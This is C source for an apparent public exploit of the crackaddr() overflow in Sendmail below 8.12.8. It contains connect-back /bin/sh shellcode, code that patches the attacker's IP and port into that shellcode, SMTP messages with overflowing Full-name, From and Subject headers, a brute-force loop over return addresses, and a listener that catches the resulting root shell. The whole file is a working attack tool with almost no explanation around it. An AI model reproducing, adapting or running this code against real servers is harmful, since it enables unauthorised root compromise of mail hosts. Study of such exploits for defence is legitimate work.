/* Sendmail <8.12.8 crackaddr() exploit by bysin */
/*            from the l33tsecurity crew         */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int maxarch=1;
struct arch {
	char *os;
	int angle,nops;
	unsigned long aptr;
} archs[] = {
	{"Slackware 8.0 with sendmail 8.11.4",138,1,0xbfffbe34}
};


/////////////////////////////////////////////////////////

#define LISTENPORT 2525
#define BUFSIZE 4096

char code[]=                    /* 116 bytes                      */
    "\xeb\x02"                  /* jmp    <shellcode+4>           */
    "\xeb\x08"                  /* jmp    <shellcode+12>          */
    "\xe8\xf9\xff\xff\xff"      /* call   <shellcode+2>           */
    "\xcd\x7f"                  /* int    $0x7f                   */
    "\xc3"                      /* ret                            */
    "\x5f"                      /* pop    %edi                    */
    "\xff\x47\x01"              /* incl   0x1(%edi)               */
    "\x31\xc0"                  /* xor    %eax,%eax               */
    "\x50"                      /* push   %eax                    */
    "\x6a\x01"                  /* push   $0x1                    */
    "\x6a\x02"                  /* push   $0x2                    */
    "\x54"                      /* push   %esp                    */
    "\x59"                      /* pop    %ecx                    */
    "\xb0\x66"                  /* mov    $0x66,%al               */
    "\x31\xdb"                  /* xor    %ebx,%ebx               */
    "\x43"                      /* inc    %ebx                    */
    "\xff\xd7"                  /* call   *%edi                   */
    "\xba\xff\xff\xff\xff"      /* mov    $0xffffffff,%edx        */
    "\xb9\xff\xff\xff\xff"      /* mov    $0xffffffff,%ecx        */
    "\x31\xca"                  /* xor    %ecx,%edx               */
    "\x52"                      /* push   %edx                    */
    "\xba\xfd\xff\xff\xff"      /* mov    $0xfffffffd,%edx        */
    "\xb9\xff\xff\xff\xff"      /* mov    $0xffffffff,%ecx        */
    "\x31\xca"                  /* xor    %ecx,%edx               */
    "\x52"                      /* push   %edx                    */
    "\x54"                      /* push   %esp                    */
    "\x5e"                      /* pop    %esi                    */
    "\x6a\x10"                  /* push   $0x10                   */
    "\x56"                      /* push   %esi                    */
    "\x50"                      /* push   %eax                    */
    "\x50"                      /* push   %eax                    */
    "\x5e"                      /* pop    %esi                    */
    "\x54"                      /* push   %esp                    */
    "\x59"                      /* pop    %ecx                    */
    "\xb0\x66"                  /* mov    $0x66,%al               */
    "\x6a\x03"                  /* push   $0x3                    */
    "\x5b"                      /* pop    %ebx                    */
    "\xff\xd7"                  /* call   *%edi                   */
    "\x56"                      /* push   %esi                    */
    "\x5b"                      /* pop    %ebx                    */
    "\x31\xc9"                  /* xor    %ecx,%ecx               */
    "\xb1\x03"                  /* mov    $0x3,%cl                */
    "\x31\xc0"                  /* xor    %eax,%eax               */
    "\xb0\x3f"                  /* mov    $0x3f,%al               */
    "\x49"                      /* dec    %ecx                    */
    "\xff\xd7"                  /* call   *%edi                   */
    "\x41"                      /* inc    %ecx                    */
    "\xe2\xf6"                  /* loop   <shellcode+81>          */
    "\x31\xc0"                  /* xor    %eax,%eax               */
    "\x50"                      /* push   %eax                    */
    "\x68\x2f\x2f\x73\x68"      /* push   $0x68732f2f             */
    "\x68\x2f\x62\x69\x6e"      /* push   $0x6e69622f             */
    "\x54"                      /* push   %esp                    */
    "\x5b"                      /* pop    %ebx                    */
    "\x50"                      /* push   %eax                    */
    "\x53"                      /* push   %ebx                    */
    "\x54"                      /* push   %esp                    */
    "\x59"                      /* pop    %ecx                    */
    "\x31\xd2"                  /* xor    %edx,%edx               */
    "\xb0\x0b"                  /* mov    $0xb,%al                */
    "\xff\xd7"                  /* call   *%edi                   */
;


void header() {
	printf("\nSendmail <8.12.8 crackaddr() exploit by bysin\n");
	printf("           from the l33tsecurity crew        \n\n");
}

void printtargets() {
	unsigned long i;
	header();
	printf("\t  Target\t Addr\t\t OS\n");
	printf("\t-------------------------------------------\n");
	for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].aptr,archs[i].os);
	printf("\n");
}

void writesocket(int sock, char *buf) {
	if (send(sock,buf,strlen(buf),0) <= 0) {
		printf("Error writing to socket\n");
		exit(0);
	}
}

void readsocket(int sock, int response) {
	char temp[BUFSIZE];
	memset(temp,0,sizeof(temp));
	if (recv(sock,temp,sizeof(temp),0) <= 0) {
		printf("Error reading from socket\n");
		exit(0);
	}
	if (response != atol(temp)) {
		printf("Bad response: %s\n",temp);
		exit(0);
	}
}

int readutil(int sock, int response) {
	char temp[BUFSIZE],*str;
	while(1) {
		fd_set readfs;
		struct timeval tm;
		FD_ZERO(&readfs);
		FD_SET(sock,&readfs);
		tm.tv_sec=1;
		tm.tv_usec=0;
		if(select(sock+1,&readfs,NULL,NULL,&tm) <= 0) return 0;
		memset(temp,0,sizeof(temp));
		if (recv(sock,temp,sizeof(temp),0) <= 0) {
			printf("Error reading from socket\n");
			exit(0);
		}
		str=(char*)strtok(temp,"\n");
		while(str && *str) {
			if (atol(str) == response) return 1;
			str=(char*)strtok(NULL,"\n");
		}
	}
}

#define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||(((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0)))

void findvalmask(char* val,char* mask,int len) {
	int i;
	unsigned char c,m;
	for(i=0;i<len;i++) {
		c=val[i];
		m=0xff;
		while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--;
		val[i]=c^m;
		mask[i]=m;
	}
}

void fixshellcode(char *host, unsigned short port) {
	unsigned long ip;
	char abuf[4],amask[4],pbuf[2],pmask[2];
	if ((ip = inet_addr(host)) == -1) {
		struct hostent *hostm;
		if ((hostm=gethostbyname(host)) == NULL) {
			printf("Unable to resolve local address\n");
			exit(0);
		}
		memcpy((char*)&ip, hostm->h_addr, hostm->h_length);
	}
	abuf[3]=(ip>>24)&0xff;
	abuf[2]=(ip>>16)&0xff;
	abuf[1]=(ip>>8)&0xff;
	abuf[0]=(ip)&0xff;
	pbuf[0]=(port>>8)&0xff;
	pbuf[1]=(port)&0xff;
	findvalmask(abuf,amask,4);
	findvalmask(pbuf,pmask,2);
	memcpy(&code[33],abuf,4);
	memcpy(&code[38],amask,4);
	memcpy(&code[48],pbuf,2);
	memcpy(&code[53],pmask,2);
}

void getrootprompt() {
	int sockfd,sin_size,tmpsock,i;
	struct sockaddr_in my_addr,their_addr;
	char szBuffer[1024];
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Error creating listening socket\n");
		return;
	}
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(LISTENPORT);
	my_addr.sin_addr.s_addr = INADDR_ANY;
	memset(&(my_addr.sin_zero), 0, 8);
	if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
		printf("Error binding listening socket\n");
		return;
	}
	if (listen(sockfd, 1) == -1) {
		printf("Error listening on listening socket\n");
		return;
	}
	sin_size = sizeof(struct sockaddr_in);
	if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
		printf("Error accepting on listening socket\n");
		return;
	}
	writesocket(tmpsock,"uname -a\n");
	while(1) {
		fd_set readfs;
		FD_ZERO(&readfs);
		FD_SET(0,&readfs);
		FD_SET(tmpsock,&readfs);
		if(select(tmpsock+1,&readfs,NULL,NULL,NULL)) {
			int cnt;
			char buf[1024];
			if (FD_ISSET(0,&readfs)) {
				if ((cnt=read(0,buf,1024)) < 1) {
					if(errno==EWOULDBLOCK || errno==EAGAIN) continue;
                			else {
						printf("Connection closed\n");
						return;
					}
				}
				write(tmpsock,buf,cnt);
			}
			if (FD_ISSET(tmpsock,&readfs)) {
				if ((cnt=read(tmpsock,buf,1024)) < 1) {
					if(errno==EWOULDBLOCK || errno==EAGAIN) continue;
                			else {
						printf("Connection closed\n");
						return;
					}
				}
				write(1,buf,cnt);
			}
		}
	}
	close(tmpsock);
	close(sockfd);
	return;
}

int main(int argc, char **argv) {
	struct sockaddr_in server;
	unsigned long ipaddr,i,bf=0;
	int sock,target;
	char tmp[BUFSIZE],buf[BUFSIZE],*p;
	if (argc <= 3) {
		printf("%s <target ip> <myip> <target number> [bruteforce start addr]\n",argv[0]);
		printtargets();
		return 0;
	}
	target=atol(argv[3]);
	if (target < 0 || target >= maxarch) {
		printtargets();
		return 0;
	}
	if (argc > 4) sscanf(argv[4],"%x",&bf);

	header();

	fixshellcode(argv[2],LISTENPORT);
	if (bf && !fork()) {
		getrootprompt();
		return 0;
	}

bfstart:
	if (bf) {
		printf("Trying address 0x%x\n",bf);
		fflush(stdout);
	}
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Unable to create socket\n");
		exit(0);
	}
	server.sin_family = AF_INET;
	server.sin_port = htons(25);
	if (!bf) {
		printf("Resolving address... ");
		fflush(stdout);
	}
	if ((ipaddr = inet_addr(argv[1])) == -1) {
		struct hostent *hostm;
		if ((hostm=gethostbyname(argv[1])) == NULL) {
			printf("Unable to resolve address\n");
			exit(0);
		}
		memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
	}
	else server.sin_addr.s_addr = ipaddr;
	memset(&(server.sin_zero), 0, 8);
	if (!bf) {
		printf("Address found\n");
		printf("Connecting... ");
		fflush(stdout);
	}
	if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
		printf("Unable to connect\n");
		exit(0);
	}
	if (!bf) {
		printf("Connected!\n");
		printf("Sending exploit... ");
		fflush(stdout);
	}
	readsocket(sock,220);
	writesocket(sock,"HELO yahoo.com\r\n");
	readsocket(sock,250);
	writesocket(sock,"MAIL FROM: spiderman@yahoo.com\r\n");
	readsocket(sock,250);
	writesocket(sock,"RCPT TO: MAILER-DAEMON\r\n");
	readsocket(sock,250);
	writesocket(sock,"DATA\r\n");
	readsocket(sock,354);
	memset(buf,0,sizeof(buf));
	p=buf;
	for (i=0;i<archs[target].angle;i++) {
		*p++='<';
		*p++='>';
	}
	*p++='(';
	for (i=0;i<archs[target].nops;i++) *p++=0xf8;
	*p++=')';
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];
	*p++=0;
	sprintf(tmp,"Full-name: %s\r\n",buf);
	writesocket(sock,tmp);
	sprintf(tmp,"From: %s\r\n",buf);
	writesocket(sock,tmp);

	p=buf;
	archs[target].aptr+=4;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x14;i++) *p++=0xf8;
	archs[target].aptr+=0x18;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x4c;i++) *p++=0x01;
	archs[target].aptr+=0x4c+4;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x8;i++) *p++=0xf8;
	archs[target].aptr+=0x08+4;
	*p++=((char*)&archs[target].aptr)[0];
	*p++=((char*)&archs[target].aptr)[1];
	*p++=((char*)&archs[target].aptr)[2];
	*p++=((char*)&archs[target].aptr)[3];

	for (i=0;i<0x20;i++) *p++=0xf8;
	for (i=0;i<strlen(code);i++) *p++=code[i];

	*p++=0;
	sprintf(tmp,"Subject: AAAAAAAAAAA%s\r\n",buf);
	writesocket(sock,tmp);
	writesocket(sock,".\r\n");
	if (!bf) {
		printf("Exploit sent!\n");
		printf("Waiting for root prompt...\n");
		if (readutil(sock,451)) printf("Failed!\n");
		else getrootprompt();
	}
	else {
		readutil(sock,451);
		close(sock);
		bf+=4;
		goto bfstart;
	}
}
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